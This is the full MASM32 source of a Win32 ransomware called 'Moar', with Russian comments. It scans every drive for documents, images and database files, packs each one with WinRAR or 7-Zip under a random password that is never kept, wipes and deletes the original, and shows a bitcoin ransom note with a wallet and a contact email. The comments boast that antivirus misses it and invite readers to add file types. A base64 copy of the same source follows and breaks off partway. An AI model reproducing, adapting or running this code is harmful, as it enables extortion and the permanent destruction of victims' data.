; Win32. Moar - вирус вымогатель, принципом работы которого является упаковка файлов архиватором
; с использованием случайного пароля.
; Создан с учетом того, что одного архиватора может не быть, поэтому возможно использование
; как WinRar, так и 7 - Zip. Пути к ним получаются динамически из реестра.
; Пароль для каждого файла генерируется новый и случайный, длиной 64 символа - брутфорс
; идет нахуй. EndUser идет туда же - нас не ебет, получит ли он свои данные обратно.
;
; Moar - от двух слов "more" и "archive" , т. е. название описывает функционал
; вируса - использование нескольких архиваторов для надежности.
;
; Далее исходный код откомментирован - при желании можно добавить своих расширений
; файлов или изменить алгоритм работы.
;
; После компиляции, размер вируса - 3584 байт. Антивирусы смачно причмокивают - моар не вызывает
; подозрительных API и прочего, никто на бинарник не реагирует, абсолютно никто.
; Единственный минус - достаточно небольшая скорость работы, никак не зависящая от нас.
; Процесс тормозится запуском архиватора и ожиданием пакования файлов. Поэтому, ускорить это никак нельзя.
.686
. model flat, stdcall
option casemap: none
include \masm32\include \windows. inc
include \masm32\include \kernel32. inc
include \masm32\include \user32. inc
include \masm32\include \shlwapi. inc
include \masm32\include \shell32. inc
include \masm32\include \advapi32. inc
includelib \masm32\lib\kernel32. lib
includelib \masm32\lib\user32. lib
includelib \masm32\lib\shlwapi. lib
includelib \masm32\lib\shell32. lib
includelib \masm32\lib\advapi32. lib
GetPackerPath PROTO : DWORD, : DWORD, : DWORD, : DWORD
BUFFER_SIZE equ 100000h
BufLen equ 4096
WINRAR_PACK equ 1
SEVENZIP_PACK equ 2
. data
TypeOfPacker db 0
; Данные для получения пути к архиватору WinRar.
WinrarReg1 db 'WinRAR\shell\open\command' , 0
WinrarReg2 db 0
WinrarReg3 db 'rar.exe' , 0
WinrarMask db 'a -hp%s "%s" "%s"' , 0
WinrarExt db '.rar' , 0
; Данные для получения пути к архиватору 7 - Zip.
SevenZipReg1 db 'Applications\7zFM.exe\shell\open\command' , 0
SevenZipReg2 db 0
SevenZipReg3 db '7z.exe' , 0
SevenZipMask db 'a -p%s "%s" "%s"' , 0
SevenZipExt db '.7z' , 0
; Две строки - для пропуска этих директорий при поиске файлов.
fake1 db '.' , 0
fake2 db '..' , 0
; Строковая подпись вируса - она добавляется к именам создаваемых архивов.
VirSign db '_MOAR_' , 0
; Количество масок( расширений) файлов, которые обрабатываются.
; При добавлении своих расширений, соответственно увеличивать.
EXTENSION_COUNT dd 4
; Сами расширения, вернее маски для поиска. Допустимо использование wildcard'ов.
lbl1 db ' *. lnk',0
db ' *. bmp',0
db ' *. jpg',0
db ' *. jpeg',0
db ' *. docx',0
db ' *. docm',0
db ' *. doc',0
db ' *. xlsx',0
db ' *. xls',0
db ' *. xlsm',0
db ' *. 1CD',0
db ' *. dbf',0
; Сообщение, показываемое пользователю. Изменить на свой вкус.
UserMessage db ' Внимание! Все Ваши файлы были зашифрованы и помещены в архив с паролем. Оригиналы файлов были удалены. ',13,10
db ' Т. е. вы больше не имеете доступа к своим файлам. ',13,10
db ' Для того, чтобы получить пароль и расшифровать файлы, оплатите 100 долларов в биткоинах на этот кошелек: ',13,10
db ' 1FneovZD18CoBJSz4cGiJVDt5C32yWh2i6',13,10
db ' Или этот же кошелек вы можете скопировать по ссылке: https: //g...content-available-to-author-only...o.gl/j4XCL2',13,10
db 'Оплатить биткоинами через банки: https://b...content-available-to-author-only...k.net' , 13 , 10
db 'Пароль вы сможете получить после оплаты, написав на lohodf@mail.ru' , 0
. data?
PackerPath db BufLen dup ( ?)
SearchBuf db BufLen dup ( ?)
FilePathBuf db BufLen dup ( ?)
ArName db BufLen dup ( ?)
TmpBuf db BufLen dup ( ?)
GeneratedPassword db 65 dup ( ?)
PackerPathPointer dd ?
hmem dd ?
sei SHELLEXECUTEINFO <>
. code
start:
; Получаем путь к "rar.exe" - консольной утилите WinRar для архивирования файлов.
invoke GetPackerPath, addr WinrarReg1, addr WinrarReg2, addr WinrarReg3, WINRAR_PACK
test eax, eax
jne getpath
; Если WinRar установлен и путь был получен - прыгаем и едем далее.
; В обратном же случае пытаемся получить путь к "7z.exe" - аналогичная консольная программа от 7 - Zip.
invoke GetPackerPath, addr SevenZipReg1, addr SevenZipReg2, addr SevenZipReg3, SEVENZIP_PACK
test eax, eax
jne getpath
; Если же и этой прораммы нет в системе - выходим, нам здесь делать нечего, система - унылое говно.
jmp ohshit
getpath:
; Выделяем память для вайпинга файлов. Так называется стирание файлов без возможности восстановления.
; Просто удалить файл - способ для криворуких, т. к. различные Лепрозории Касперского публикуют
; зиродей- методы для восстановления файлов.
invoke GlobalAlloc, GPTR, BUFFER_SIZE
. if ( eax== 0 )
jmp ohshit
. endif
mov hmem, eax
; Вызываем процедуру поиска и обработки файлов.
call FileSearch
; Освобождаем память, выделенную под буфер для вайпинга.
invoke GlobalFree, hmem
; Показываем пользователю сообщение о том, что он криворукий дебил - взял и запустил левый ЕХЕ.
invoke MessageBox, 0 , addr UserMessage, 0 , 0
ohshit:
invoke ExitProcess, 0
; Процедура получения пути к архиватору. В ней нет ничего сложного, no comments.
GetPackerPath proc p1: DWORD, p2: DWORD, p3: DWORD, p4: DWORD
LOCAL ValLen : DWORD
LOCAL lpdwDisp : DWORD
LOCAL hKey : DWORD
invoke RegCreateKeyEx, HKEY_CLASSES_ROOT, p1, 0 , 0 , 0 , KEY_READ, 0 , addr hKey, addr lpdwDisp
test eax, eax
je @ F
xor eax, eax
ret
@@:
mov dword ptr [ ValLen] , BufLen
invoke RegQueryValueEx, hKey, p2, 0 , 0 , addr PackerPath, addr ValLen
test eax, eax
je @ F
xor eax, eax
ret
@@:
invoke RegCloseKey, hKey
; Путь в реестре хранится в таком виде: "C:\Program Files\WinRAR\WinRAR.exe" "%1" .
; Поэтому его нужно пропарсить.
invoke lstrlen, addr PackerPath
dec eax
mov ecx, eax
mov esi, offset PackerPath
inc esi
mov ebx, esi
mov dword ptr [ PackerPathPointer] , ebx
@@:
lodsb
cmp al, '"'
je @ F
loop @ B
@@:
mov byte ptr [ esi- 1 ] , 0
invoke PathFindFileName, ebx
mov byte ptr [ eax] , 0
invoke lstrcat, ebx, p3
; В переменную TypeOfPacker записывается значение - идентификатор используемого архиватора, четвертый параметр - p4
; Т. е если путь к винрару был удачно получен, пишем туда WINRAR_PACK, если к 7 - Zip'y - SEVENZIP_PACK.
mov eax, dword ptr [p4]
mov byte ptr [TypeOfPacker], al
mov eax, 1
ret
GetPackerPath endp
; Процедура пакования файлов.
PackFile proc
; Генерируем для архива пароль.
call PwdGen
invoke lstrcpy, addr ArName, addr FilePathBuf
invoke PathFindExtension, addr ArName
invoke lstrcat, addr ArName, addr VirSign
mov al, byte ptr [TypeOfPacker]
cmp al, WINRAR_PACK
jne @F
invoke lstrcat, addr ArName, addr WinrarExt
invoke wsprintf, addr TmpBuf, addr WinrarMask, addr GeneratedPassword, addr ArName, addr FilePathBuf
jmp done_2
@@:
invoke lstrcat, addr ArName, addr SevenZipExt
invoke wsprintf, addr TmpBuf, addr SevenZipMask, addr GeneratedPassword, addr ArName, addr FilePathBuf
done_2:
invoke RtlZeroMemory, addr sei, sizeof sei
; Заполняем структуру SHELLEXECUTEINFO и запускаем rar.exe с парамтером командной строки,
; в котором хранится путь к файлу для шифрования, путь к выходящему файлу и параметры упаковки.
mov sei.cbSize, sizeof sei
mov sei.fMask, SEE_MASK_NOCLOSEPROCESS
mov sei.nShow, SW_HIDE
mov eax, dword ptr [PackerPathPointer]
mov sei.lpFile, eax
mov sei.lpParameters, offset TmpBuf
invoke ShellExecuteEx, addr sei
test eax, eax
jne run_good
; Если запуск апроцеса архивации неудался, выходим.
ret
run_good:
; Ждем завершения паковки.
invoke WaitForSingleObject, sei.hProcess, INFINITE
invoke CloseHandle, sei.hProcess
; Стираем файл без возможности воссановления.
call WipeFile
ret
PackFile endp
; Рекурсивная процедура поиска файлов, автор - Ct757.
find_files proc
push ebp
mov ebp,esp
sub esp,144h
lea eax,[ebp-144h]
invoke FindFirstFile,offset SearchBuf,eax
inc eax
je exit
dec eax
mov dword ptr [ebp-6h],eax
find_next:
mov eax,dword ptr [ebp-144h]
and eax,FILE_ATTRIBUTE_DIRECTORY
je found
lea eax,[ebp-118h]
invoke lstrcmp,offset fake1,eax
test eax,eax
je next
lea eax,[ebp-118h]
invoke lstrcmp,offset fake2,eax
test eax,eax
je next
invoke lstrlen,offset SearchBuf
sub eax,3
push eax
mov byte ptr [SearchBuf+eax],0
lea eax,[ebp-118h]
invoke lstrcat,offset SearchBuf,eax
invoke lstrlen,offset SearchBuf
mov dword ptr [SearchBuf+eax],' *.* \'
mov byte ptr [SearchBuf+eax+4],0
call find_files
pop eax
mov dword ptr [SearchBuf+eax-1],' *.* \'
mov byte ptr [SearchBuf+eax+3],0
jmp next
found:
lea ebx,[ebp-118h]
; Проверяем, подходит ли найденный файл нам - сверяем с расширениями.
mov ecx, dword ptr [EXTENSION_COUNT]
mov esi, offset lbl1
@@:
push ecx
invoke PathMatchSpec, ebx, esi
test eax, eax
jne @F
invoke lstrlen, esi
add esi, eax
inc esi
pop ecx
loop @B
; Если нет - ищем следующий.
jmp next
@@:
; Создаем полный путь к найденому файлу.
invoke lstrcpy, addr FilePathBuf, addr SearchBuf
invoke PathFindFileName, addr FilePathBuf
mov byte ptr [eax], 0
lea eax,[ebp-118h]
invoke lstrcat, addr FilePathBuf, eax
; Вызываем процедуру паковки файлов.
call PackFile
next:
lea eax,[ebp-144h]
invoke FindNextFile,dword ptr [ebp-6h],eax
test eax,eax
jne find_next
invoke FindClose,dword ptr [ebp-6h]
exit:
leave
ret
find_files endp
; Процедура, вызывающая поиск файлов по дискам. Т.е. она перечисляет доступные диски
; и вызывает для каждого из них find_files.
FileSearch proc
invoke SetErrorMode,SEM_FAILCRITICALERRORS
invoke GetLogicalDrives
mov ecx,25
find_drives:
mov ebx,1
shl ebx,cl
and ebx,eax
je no_disk
add cl,65
mov byte ptr SearchBuf,cl
sub cl,65
mov dword ptr SearchBuf+1,' .* \: '
mov byte ptr SearchBuf+5,' * '
mov byte ptr SearchBuf+6,0
push eax
push ecx
call find_files
pop ecx
pop eax
no_disk:
dec ecx
jge find_drives
ret
FileSearch endp
; Тут происходит генерация пароля для архива.
; Для получения случайных чисел в нужном диапазоне, вызываем GetRandom.
PwdGen proc
lea edi, GeneratedPassword
mov ecx, 64
@@:
call GetRandom
stosb
loop @B
ret
PwdGen endp
; Получаем случайное число в диапазоне [ 41h..5Ah ].
GetRandom proc
push edx
push ecx
mov ecx,5Ah
sub ecx,41h
inc ecx
push edx
push ecx
db 0Fh, 31h
xor eax,edx
xor edx,edx
mov ecx,127773
div ecx
mov ecx,eax
mov eax,16807
mul edx
mov edx,ecx
mov ecx,eax
mov eax,2836
mul edx
sub ecx,eax
xor edx,edx
mov eax,ecx
mov ecx,100000
div ecx
mov eax,edx
pop ecx
pop edx
xor edx,edx
div ecx
mov eax,edx
add eax,41h
pop ecx
pop edx
ret
GetRandom endp
; Процедура вайпинга файлов.
; Для этого сначала файл перезаписывается нулями, затем укорачивается до нулевой длины и удаляется.
; Как показали эксперименты, после такого, программы восстановления файлов нервно курят в сторонке.
WipeFile proc
LOCAL h :DWORD
LOCAL nw :DWORD
LOCAL dmod :DWORD
LOCAL towrite :DWORD
invoke CreateFile, addr FilePathBuf, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL
cmp eax, -1
jne @F
ret
@@:
mov h, eax
invoke SetFilePointer, h, 0, NULL, FILE_BEGIN
invoke GetFileSize, h, NULL
cmp eax, BUFFER_SIZE
jge @F
mov ecx, 1
mov dword ptr [towrite], eax
mov dword ptr [dmod], 0
jmp loop_wipe
@@:
xor edx, edx
mov ebx, BUFFER_SIZE
div ebx
mov ecx, eax
mov dword ptr [towrite], BUFFER_SIZE
mov dword ptr [dmod], edx
loop_wipe:
push ecx
invoke WriteFile, h, [hmem], [towrite], addr nw, NULL
pop ecx
loop loop_wipe
mov eax, dword ptr [dmod]
test eax, eax
je bez_ostatka
invoke WriteFile, h, [hmem], [dmod], addr nw, NULL
bez_ostatka:
invoke SetFilePointer, h, 0, NULL, FILE_BEGIN
invoke SetEndOfFile, h
invoke CloseHandle, h
invoke DeleteFile, addr FilePathBuf
ret
WipeFile endp
end start
OyBXaW4zMi5Nb2FyIC0g0LLQuNGA0YPRgSDQstGL0LzQvtCz0LDRgtC10LvRjCwg0L/RgNC40L3RhtC40L/QvtC8INGA0LDQsdC+0YLRiyDQutC+0YLQvtGA0L7Qs9C+INGP0LLQu9GP0LXRgtGB0Y8g0YPQv9Cw0LrQvtCy0LrQsCDRhNCw0LnQu9C+0LIg0LDRgNGF0LjQstCw0YLQvtGA0L7QvAo7INGBINC40YHQv9C+0LvRjNC30L7QstCw0L3QuNC10Lwg0YHQu9GD0YfQsNC50L3QvtCz0L4g0L/QsNGA0L7Qu9GPLgo7INCh0L7Qt9C00LDQvSDRgSDRg9GH0LXRgtC+0Lwg0YLQvtCz0L4sINGH0YLQviDQvtC00L3QvtCz0L4g0LDRgNGF0LjQstCw0YLQvtGA0LAg0LzQvtC20LXRgiDQvdC1INCx0YvRgtGMLCDQv9C+0Y3RgtC+0LzRgyDQstC+0LfQvNC+0LbQvdC+INC40YHQv9C+0LvRjNC30L7QstCw0L3QuNC1IAo7INC60LDQuiBXaW5SYXIsINGC0LDQuiDQuCA3LVppcC4g0J/Rg9GC0Lgg0Log0L3QuNC8INC/0L7Qu9GD0YfQsNGO0YLRgdGPINC00LjQvdCw0LzQuNGH0LXRgdC60Lgg0LjQtyDRgNC10LXRgdGC0YDQsC4KOyDQn9Cw0YDQvtC70Ywg0LTQu9GPINC60LDQttC00L7Qs9C+INGE0LDQudC70LAg0LPQtdC90LXRgNC40YDRg9C10YLRgdGPINC90L7QstGL0Lkg0Lgg0YHQu9GD0YfQsNC50L3Ri9C5LCDQtNC70LjQvdC+0LkgNjQg0YHQuNC80LLQvtC70LAgLSDQsdGA0YPRgtGE0L7RgNGBCjsg0LjQtNC10YIg0L3QsNGF0YPQuS4gRW5kVXNlciDQuNC00LXRgiDRgtGD0LTQsCDQttC1IC0g0L3QsNGBINC90LUg0LXQsdC10YIsINC/0L7Qu9GD0YfQuNGCINC70Lgg0L7QvSDRgdCy0L7QuCDQtNCw0L3QvdGL0LUg0L7QsdGA0LDRgtC90L4uCjsKOyBNb2FyIC0g0L7RgiDQtNCy0YPRhSDRgdC70L7QsiAibW9yZSIg0LggImFyY2hpdmUiLCDRgi7QtS4g0L3QsNC30LLQsNC90LjQtSDQvtC/0LjRgdGL0LLQsNC10YIg0YTRg9C90LrRhtC40L7QvdCw0LsgCjsg0LLQuNGA0YPRgdCwIC0g0LjRgdC/0L7Qu9GM0LfQvtCy0LDQvdC40LUg0L3QtdGB0LrQvtC70YzQutC40YUg0LDRgNGF0LjQstCw0YLQvtGA0L7QsiDQtNC70Y8g0L3QsNC00LXQttC90L7RgdGC0LguCjsKOyDQlNCw0LvQtdC1INC40YHRhdC+0LTQvdGL0Lkg0LrQvtC0INC+0YLQutC+0LzQvNC10L3RgtC40YDQvtCy0LDQvSAtINC/0YDQuCDQttC10LvQsNC90LjQuCDQvNC+0LbQvdC+INC00L7QsdCw0LLQuNGC0Ywg0YHQstC+0LjRhSDRgNCw0YHRiNC40YDQtdC90LjQuQo7INGE0LDQudC70L7QsiDQuNC70Lgg0LjQt9C80LXQvdC40YLRjCDQsNC70LPQvtGA0LjRgtC8INGA0LDQsdC+0YLRiy4KOwo7INCf0L7RgdC70LUg0LrQvtC80L/QuNC70Y/RhtC40LgsINGA0LDQt9C80LXRgCDQstC40YDRg9GB0LAgLSAzNTg0INCx0LDQudGCLiDQkNC90YLQuNCy0LjRgNGD0YHRiyDRgdC80LDRh9C90L4g0L/RgNC40YfQvNC+0LrQuNCy0LDRjtGCIC0g0LzQvtCw0YAg0L3QtSDQstGL0LfRi9Cy0LDQtdGCIAo7INC/0L7QtNC+0LfRgNC40YLQtdC70YzQvdGL0YUgQVBJINC4INC/0YDQvtGH0LXQs9C+LCDQvdC40LrRgtC+INC90LAg0LHQuNC90LDRgNC90LjQuiDQvdC1INGA0LXQsNCz0LjRgNGD0LXRgiwg0LDQsdGB0L7Qu9GO0YLQvdC+INC90LjQutGC0L4uCjsg0JXQtNC40L3RgdGC0LLQtdC90L3Ri9C5INC80LjQvdGD0YEgLSDQtNC+0YHRgtCw0YLQvtGH0L3QviDQvdC10LHQvtC70YzRiNCw0Y8g0YHQutC+0YDQvtGB0YLRjCDRgNCw0LHQvtGC0YssINC90LjQutCw0Log0L3QtSDQt9Cw0LLQuNGB0Y/RidCw0Y8g0L7RgiDQvdCw0YEuIAo7INCf0YDQvtGG0LXRgdGBINGC0L7RgNC80L7Qt9C40YLRgdGPINC30LDQv9GD0YHQutC+0Lwg0LDRgNGF0LjQstCw0YLQvtGA0LAg0Lgg0L7QttC40LTQsNC90LjQtdC8INC/0LDQutC+0LLQsNC90LjRjyDRhNCw0LnQu9C+0LIuINCf0L7RjdGC0L7QvNGDLCDRg9GB0LrQvtGA0LjRgtGMINGN0YLQviDQvdC40LrQsNC6INC90LXQu9GM0LfRjy4KCi42ODYKLm1vZGVsIGZsYXQsc3RkY2FsbApvcHRpb24gY2FzZW1hcDpub25lCgppbmNsdWRlIFxtYXNtMzJcaW5jbHVkZVx3aW5kb3dzLmluYwppbmNsdWRlIFxtYXNtMzJcaW5jbHVkZVxrZXJuZWwzMi5pbmMKaW5jbHVkZSBcbWFzbTMyXGluY2x1ZGVcdXNlcjMyLmluYwppbmNsdWRlIFxtYXNtMzJcaW5jbHVkZVxzaGx3YXBpLmluYwppbmNsdWRlIFxtYXNtMzJcaW5jbHVkZVxzaGVsbDMyLmluYwppbmNsdWRlIFxtYXNtMzJcaW5jbHVkZVxhZHZhcGkzMi5pbmMKaW5jbHVkZWxpYiBcbWFzbTMyXGxpYlxrZXJuZWwzMi5saWIKaW5jbHVkZWxpYiBcbWFzbTMyXGxpYlx1c2VyMzIubGliCmluY2x1ZGVsaWIgXG1hc20zMlxsaWJcc2hsd2FwaS5saWIKaW5jbHVkZWxpYiBcbWFzbTMyXGxpYlxzaGVsbDMyLmxpYgppbmNsdWRlbGliIFxtYXNtMzJcbGliXGFkdmFwaTMyLmxpYgoKICAgICAgR2V0UGFja2VyUGF0aCAgICAgUFJPVE8gIDpEV09SRCwgOkRXT1JELCA6RFdPUkQsIDpEV09SRAogICAgICBCVUZGRVJfU0laRSAgICAgICBlcXUgICAgMTAwMDAwaCAKICAgICAgQnVmTGVuICAgICAgICAgICAgZXF1ICAgIDQwOTYKICAgICAgV0lOUkFSX1BBQ0sgICAgICAgZXF1ICAgIDEKICAgICAgU0VWRU5aSVBfUEFDSyAgICAgZXF1ICAgIDIKCi5kYXRhCiAgICAgIFR5cGVPZlBhY2tlciAgICAgIGRiICAgICAwCjsg0JTQsNC90L3Ri9C1INC00LvRjyDQv9C+0LvRg9GH0LXQvdC40Y8g0L/Rg9GC0Lgg0Log0LDRgNGF0LjQstCw0YLQvtGA0YMgV2luUmFyLgogICAgICBXaW5yYXJSZWcxICAgICAgICBkYiAgICAgJ1dpblJBUlxzaGVsbFxvcGVuXGNvbW1hbmQnLDAKICAgICAgV2lucmFyUmVnMiAgICAgICAgZGIgICAgIDAKICAgICAgV2lucmFyUmVnMyAgICAgICAgZGIgICAgICdyYXIuZXhlJywwCiAgICAgIFdpbnJhck1hc2sgICAgICAgIGRiICAgICAnYSAtaHAlcyAiJXMiICIlcyInLDAKICAgICAgV2lucmFyRXh0ICAgICAgICAgZGIgICAgICcucmFyJywwCjsg0JTQsNC90L3Ri9C1INC00LvRjyDQv9C+0LvRg9GH0LXQvdC40Y8g0L/Rg9GC0Lgg0Log0LDRgNGF0LjQstCw0YLQvtGA0YMgNy1aaXAuCiAgICAgIFNldmVuWmlwUmVnMSAgICAgIGRiICAgICAnQXBwbGljYXRpb25zXDd6Rk0uZXhlXHNoZWxsXG9wZW5cY29tbWFuZCcsMAogICAgICBTZXZlblppcFJlZzIgICAgICBkYiAgICAgMAogICAgICBTZXZlblppcFJlZzMgICAgICBkYiAgICAgJzd6LmV4ZScsMAogICAgICBTZXZlblppcE1hc2sgICAgICBkYiAgICAgJ2EgLXAlcyAiJXMiICIlcyInLDAKICAgICAgU2V2ZW5aaXBFeHQgICAgICAgZGIgICAgICcuN3onLDAKOyDQlNCy0LUg0YHRgtGA0L7QutC4IC0g0LTQu9GPINC/0YDQvtC/0YPRgdC60LAg0Y3RgtC40YUg0LTQuNGA0LXQutGC0L7RgNC40Lkg0L/RgNC4INC/0L7QuNGB0LrQtSDRhNCw0LnQu9C+0LIuCiAgICAgIGZha2UxICAgICAgICAgICAgIGRiICAgICAnLicsMAogICAgICBmYWtlMiAgICAgICAgICAgICBkYiAgICAgJy4uJywwCjsg0KHRgtGA0L7QutC+0LLQsNGPINC/0L7QtNC/0LjRgdGMINCy0LjRgNGD0YHQsCAtINC+0L3QsCDQtNC+0LHQsNCy0LvRj9C10YLRgdGPINC6INC40LzQtdC90LDQvCDRgdC+0LfQtNCw0LLQsNC10LzRi9GFINCw0YDRhdC40LLQvtCyLgogICAgICBWaXJTaWduICAgICAgICAgICBkYiAgICAgJ19NT0FSXycsMAogICAgICAKOyDQmtC+0LvQuNGH0LXRgdGC0LLQviDQvNCw0YHQvtC6KNGA0LDRgdGI0LjRgNC10L3QuNC5KSDRhNCw0LnQu9C+0LIsINC60L7RgtC+0YDRi9C1INC+0LHRgNCw0LHQsNGC0YvQstCw0Y7RgtGB0Y8uIAo7INCf0YDQuCDQtNC+0LHQsNCy0LvQtdC90LjQuCDRgdCy0L7QuNGFINGA0LDRgdGI0LjRgNC10L3QuNC5LCDRgdC+0L7RgtCy0LXRgtGB0YLQstC10L3QvdC+INGD0LLQtdC70LjRh9C40LLQsNGC0YwuCiAgICAgIEVYVEVOU0lPTl9DT1VOVCAgIGRkICAgICA0Cjsg0KHQsNC80Lgg0YDQsNGB0YjQuNGA0LXQvdC40Y8sINCy0LXRgNC90LXQtSDQvNCw0YHQutC4INC00LvRjyDQv9C+0LjRgdC60LAuINCU0L7Qv9GD0YHRgtC40LzQviDQuNGB0L/QvtC70YzQt9C+0LLQsNC90LjQtSB3aWxkY2FyZCfQvtCyLgogICAgICBsYmwxICAgICAgICAgICAgICBkYiAgICAgJyoubG5rJywwCiAgICAgICAgICAgICAgICAgICAgICAgIGRiICAgICAnKi5ibXAnLDAKICAgICAgICAgICAgICAgICAgICAgICAgZGIgICAgICcqLmpwZycsMAogICAgICAgICAgICAgICAgICAgICAgICBkYiAgICAgJyouanBlZycsMAogICAgICAgICAgICAgICAgICAgICAgICBkYiAgICAgJyouZG9jeCcsMAogICAgICAgICAgICAgICAgICAgICAgICBkYiAgICAgJyouZG9jbScsMAogICAgICAgICAgICAgICAgICAgICAgICBkYiAgICAgJyouZG9jJywwCiAgICAgICAgICAgICAgICAgICAgICAgIGRiICAgICAnKi54bHN4JywwCiAgICAgICAgICAgICAgICAgICAgICAgIGRiICAgICAnKi54bHMnLDAKICAgICAgICAgICAgICAgICAgICAgICAgZGIgICAgICcqLnhsc20nLDAKICAgICAgICAgICAgICAgICAgICAgICAgZGIgICAgICcqLjFDRCcsMAogICAgICAgICAgICAgICAgICAgICAgICBkYiAgICAgJyouZGJmJywwCjsg0KHQvtC+0LHRidC10L3QuNC1LCDQv9C+0LrQsNC30YvQstCw0LXQvNC+0LUg0L/QvtC70YzQt9C+0LLQsNGC0LXQu9GOLiDQmNC30LzQtdC90LjRgtGMINC90LAg0YHQstC+0Lkg0LLQutGD0YEuCiAgICAgIFVzZXJNZXNzYWdlICAgICAgIGRiICAgICAn0JLQvdC40LzQsNC90LjQtSEg0JLRgdC1INCS0LDRiNC4INGE0LDQudC70Ysg0LHRi9C70Lgg0LfQsNGI0LjRhNGA0L7QstCw0L3RiyDQuCDQv9C+0LzQtdGJ0LXQvdGLINCyINCw0YDRhdC40LIg0YEg0L/QsNGA0L7Qu9C10LwuINCe0YDQuNCz0LjQvdCw0LvRiyDRhNCw0LnQu9C+0LIg0LHRi9C70Lgg0YPQtNCw0LvQtdC90YsuJywxMywxMAogICAgICAgICAgICAgICAgICAgICAgICBkYiAgICAgJ9CiLtC1LiDQstGLINCx0L7Qu9GM0YjQtSDQvdC1INC40LzQtdC10YLQtSDQtNC+0YHRgtGD0L/QsCDQuiDRgdCy0L7QuNC8INGE0LDQudC70LDQvC4nLDEzLDEwCiAgICAgICAgICAgICAgICAgICAgICAgIGRiICAgICAn0JTQu9GPINGC0L7Qs9C+LCDRh9GC0L7QsdGLINC/0L7Qu9GD0YfQuNGC0Ywg0L/QsNGA0L7Qu9GMINC4INGA0LDRgdGI0LjRhNGA0L7QstCw0YLRjCDRhNCw0LnQu9GLLCDQvtC/0LvQsNGC0LjRgtC1IDEwMCDQtNC+0LvQu9Cw0YDQvtCyINCyINCx0LjRgtC60L7QuNC90LDRhSDQvdCwINGN0YLQvtGCINC60L7RiNC10LvQtdC6OicsMTMsMTAKICAgICAgICAgICAgICAgICAgICAgICAgZGIgICAgICcxRm5lb3ZaRDE4Q29CSlN6NGNHaUpWRHQ1QzMyeVdoMmk2JywxMywxMAogICAgICAgICAgICAgICAgICAgICAgICBkYiAgICAgJ9CY0LvQuCDRjdGC0L7RgiDQttC1INC60L7RiNC10LvQtdC6INCy0Ysg0LzQvtC20LXRgtC1INGB0LrQvtC/0LjRgNC+0LLQsNGC0Ywg0L/QviDRgdGB0YvQu9C60LU6IGh0dHBzOi8vZy4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4uby5nbC9qNFhDTDInLDEzLDEwCiAgICAgICAgICAgICAgICAgICAgICAgIGRiICAgICAn0J7Qv9C70LDRgtC40YLRjCDQsdC40YLQutC+0LjQvdCw0LzQuCDRh9C10YDQtdC3INCx0LDQvdC60Lg6IGh0dHBzOi8vYi4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4uay5uZXQnLDEzLDEwCiAgICAgICAgICAgICAgICAgICAgICAgIGRiICAgICAn0J/QsNGA0L7Qu9GMINCy0Ysg0YHQvNC+0LbQtdGC0LUg0L/QvtC70YPRh9C40YLRjCDQv9C+0YHQu9C1INC+0L/Qu9Cw0YLRiywg0L3QsNC/0LjRgdCw0LIg0L3QsCBsb2hvZGZAbWFpbC5ydScsMAogICAgICAKLmRhdGE/CiAgICAgIFBhY2tlclBhdGggICAgICAgIGRiICAgICBCdWZMZW4gZHVwICg/KQogICAgICBTZWFyY2hCdWYgICAgICAgICBkYiAgICAgQnVmTGVuIGR1cCAoPykKICAgICAgRmlsZVBhdGhCdWYgICAgICAgZGIgICAgIEJ1ZkxlbiBkdXAgKD8pCiAgICAgIEFyTmFtZSAgICAgICAgICAgIGRiICAgICBCdWZMZW4gZHVwICg/KQogICAgICBUbXBCdWYgICAgICAgICAgICBkYiAgICAgQnVmTGVuIGR1cCAoPykKICAgICAgR2VuZXJhdGVkUGFzc3dvcmQgZGIgICAgIDY1ICAgICBkdXAgKD8pCiAgICAgIFBhY2tlclBhdGhQb2ludGVyIGRkICAgICA/CiAgICAgIGhtZW0gICAgICAgICAgICAgIGRkICAgICA/CiAgICAgIHNlaSAgICAgICAgICAgICAgIFNIRUxMRVhFQ1VURUlORk8gICAgICA8PgoKLmNvZGUKc3RhcnQ6Cjsg0J/QvtC70YPRh9Cw0LXQvCDQv9GD0YLRjCDQuiAicmFyLmV4ZSIgLSDQutC+0L3RgdC+0LvRjNC90L7QuSDRg9GC0LjQu9C40YLQtSBXaW5SYXIg0LTQu9GPINCw0YDRhdC40LLQuNGA0L7QstCw0L3QuNGPINGE0LDQudC70L7Qsi4KICAgICAgaW52b2tlICBHZXRQYWNrZXJQYXRoLCBhZGRyIFdpbnJhclJlZzEsIGFkZHIgV2lucmFyUmVnMiwgYWRkciBXaW5yYXJSZWczLCBXSU5SQVJfUEFDSwogICAgICB0ZXN0ICAgIGVheCwgZWF4CiAgICAgIGpuZSAgICAgZ2V0cGF0aAo7INCV0YHQu9C4IFdpblJhciDRg9GB0YLQsNC90L7QstC70LXQvSDQuCDQv9GD0YLRjCDQsdGL0Lsg0L/QvtC70YPRh9C10L0gLSDQv9GA0YvQs9Cw0LXQvCDQuCDQtdC00LXQvCDQtNCw0LvQtdC1Lgo7INCSINC+0LHRgNCw0YLQvdC+0Lwg0LbQtSDRgdC70YPRh9Cw0LUg0L/Ri9GC0LDQtdC80YHRjyDQv9C+0LvRg9GH0LjRgtGMINC/0YPRgtGMINC6ICI3ei5leGUiIC0g0LDQvdCw0LvQvtCz0LjRh9C90LDRjyDQutC+0L3RgdC+0LvRjNC90LDRjyDQv9GA0L7Qs9GA0LDQvNC80LAg0L7RgiA3LVppcC4KICAgICAgaW52b2tlICBHZXRQYWNrZXJQYXRoLCBhZGRyIFNldmVuWmlwUmVnMSwgYWRkciBTZXZlblppcFJlZzIsIGFkZHIgU2V2ZW5aaXBSZWczLCBTRVZFTlpJUF9QQUNLCiAgICAgIHRlc3QgICAgZWF4LCBlYXgKICAgICAgam5lICAgICBnZXRwYXRoCjsg0JXRgdC70Lgg0LbQtSDQuCDRjdGC0L7QuSDQv9GA0L7RgNCw0LzQvNGLINC90LXRgiDQsiDRgdC40YHRgtC10LzQtSAtINCy0YvRhdC+0LTQuNC8LCDQvdCw0Lwg0LfQtNC10YHRjCDQtNC10LvQsNGC0Ywg0L3QtdGH0LXQs9C+LCDRgdC40YHRgtC10LzQsCAtINGD0L3Ri9C70L7QtSDQs9C+0LLQvdC+LgogICAgICAgICAgICAgIGptcCAgICAgb2hzaGl0CiAgICAgIGdldHBhdGg6Cjsg0JL